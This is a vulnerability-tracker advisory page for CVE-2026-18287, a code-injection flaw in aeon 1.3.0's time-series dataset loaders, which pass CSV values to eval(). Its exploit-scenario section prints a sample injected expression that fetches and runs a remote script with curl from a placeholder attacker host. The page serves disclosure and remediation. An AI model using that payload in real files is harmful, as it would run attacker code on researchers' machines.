Skip to main content

aeon EUVDEUVD-2026-63435

| CVE-2026-18287 HIGH
Code Injection (CWE-94)
2026-08-20 zdi GHSA-qvfj-hqjq-cmgm
7.8
CVSS 3.0 · Vendor: zdi
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker crafts malicious CSV with injected Python
  2. Delivery
    Delivers file as fake benchmark dataset
  3. Exploit
    User loads file via aeon API call
  4. Execution
    `eval()` executes injected expression
  5. Impact
    Arbitrary code runs as current user process

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the target user is running aeon version 1.3.0 and directly invokes load_time_series_segmentation_benchmark or load_human_activity_segmentation_datasets on an attacker-controlled CSV file. The vulnerable code path is specifically the pandas CSV column converter for columns identified as np_cols (numpy array columns), which are passed to eval(). The attacker must successfully deliver the malicious CSV to the user - either by hosting it as a fake benchmark dataset, through a repository compromise, or via social engineering. Exploitation is limited by CVSS UI:R: the user must actively load the file with the aeon API; passive network exposure or server-side automated ingestion without human-initiated file loading is not applicable. Code execution is constrained to the privileges of the current user process (S:U, no scope change) - no kernel or cross-user escalation is inherent in the vulnerability.

Impact

The CVSS 3.0 base score of 7.8 (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) reflects full confidentiality, integrity, and availability impact within the process scope, contingent on user interaction. EPSS data is not provided; given the niche deployment footprint and the requirement for deliberate file loading by a data science user, real-world mass exploitation probability is low despite the high CVSS. There is no CISA KEV listing and no public exploit code at time of analysis. The vulnerability is not remotely exploitable in a server context - it requires a human to invoke the vulnerable function on an attacker-supplied file, making automated scanning or worm-style propagation infeasible. The primary real-world risk is targeted supply-chain or social engineering attacks against ML researchers or data scientists who work with external time series benchmark datasets. The secondary allow_pickle=True fix in rehabpile_loader.py would represent a separate RCE vector via pickle deserialization, but the CVE description focuses on the eval() path. Overall priority is medium for organizations actively using aeon for dataset ingestion from untrusted sources.

Exploit ScenarioDerived

An attacker crafts a malicious CSV benchmark dataset where one of the numpy array columns contains an injected Python expression such as __import__('os').system('curl attacker.com/payload | sh'). When a researcher downloads this file and calls load_time_series_segmentation_benchmark on it using aeon 1.3.0, the eval() call in the column converter executes the injected expression, spawning a shell command in the context of the researcher's Python process. No exploit code has been publicly released, but the technique requires no special tooling beyond a text editor to craft the malicious CSV.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 20, 2026

Arbitrary code execution in aeon 1.3.0 is triggered when a user loads a maliciously crafted CSV dataset file via the load_time_series_segmentation_benchmark or load_human_activity_segmentation_datasets functions, both of which passed CSV column values directly to Python's eval() built-in without validation. An attacker who convinces a data scientist or researcher to open a crafted dataset file can execute arbitrary Python code with the privileges of the running process. No public exploit has been identified at time of analysis, but the upstream fix commit is public and the vulnerability class is trivially replicable given the use of bare eval().

RemediationAI

The upstream fix is available in commit 751918052c0cce266b4f7cd4b084408526efc015 at https://github.com/aeon-toolkit/aeon/commit/751918052c0cce266b4f7cd4b084408526efc015; a released patched version beyond 1.3.0 is not independently confirmed from the available data - monitor the aeon PyPI page and GitHub releases for a tagged fix release and upgrade as soon as one is available. As a workaround prior to patching, avoid loading CSV dataset files from untrusted or external sources via load_time_series_segmentation_benchmark or load_human_activity_segmentation_datasets. In pipeline or CI contexts, restrict dataset ingestion to files from verified internal sources only. If aeon cannot be upgraded immediately, patching _tss_data_loaders.py locally to replace eval(val) with ast.literal_eval(val) inside a try/except reproduces the upstream fix with no functional trade-offs for well-formed datasets.

Affected VersionsENISA

aeon 1.3.0

Affected Packages

euvd aeon no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause is CWE-94 (Improper Control of Generation of Code), specifically the use of Python's eval() built-in to deserialize numpy array literals stored in CSV columns (np_cols) within aeon/datasets/_tss_data_loaders.py. Because eval() executes arbitrary Python expressions - not merely literals - any attacker-controlled string in those CSV columns becomes executable code. The fix replaces eval() with ast.literal_eval(), which is restricted to safe Python literals (strings, numbers, lists, tuples, dicts, booleans, None) and raises a ValueError on anything more complex. A secondary fix in aeon/datasets/rehabpile_loader.py removes np.load(..., allow_pickle=True), eliminating a distinct pickle deserialization vector in the same dataset loading subsystem. Affected product is CPE cpe:2.3:a:aeon:aeon:*:*:*:*:*:*:*:*, specifically confirmed at version 1.3.0 per EUVD-2026-63435.

Know when Aeon gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (zdi) PRIMARY 7.8 HIGH
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
vuln.today AI 7.8 HIGH

File-based attack requires local file loading with user interaction (UI:R, AV:L); no authentication needed to craft the malicious CSV (PR:N); full process-level impact (C:H/I:H/A:H).

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (zdi).

CVSS VectorVendor: zdi

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Aeon load_time_series_segmentation_benchmark Code Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of aeon. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the load_time_series_segmentation_benchmark method. The issue results from the lack of proper validation of a user-supplied string before using it to execute Python code. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-29159.

Executive ViewAI

Why It Matters

aeon 1.3.0 contains an arbitrary code execution vulnerability in its CSV data loading functions that allows attackers to execute arbitrary Python code when researchers load crafted dataset files, potentially compromising research systems and intellectual property. This vulnerability poses significant risk to data science teams lacking immediate compensating controls.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict CSV loading to air-gapped or sandboxed environments with limited system access; (2) Disable load_time_series_segmentation_benchmark and load_human_activity_segmentation_datasets functions where operationally feasible; (3) Enforce mandatory code review and validation of all externally-sourced CSV files before import; (4) Require documented provenance for all datasets and limit imports to internal, pre-vetted repositories; (5) Implement runtime monitoring for unexpected code execution patterns from aeon processes.

Threat Intelligence Overview

EPSS Score
0.3%
Top 73% exploitable
Prevalence
Low
specialized Python ML library for time series research
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

39
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +39
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy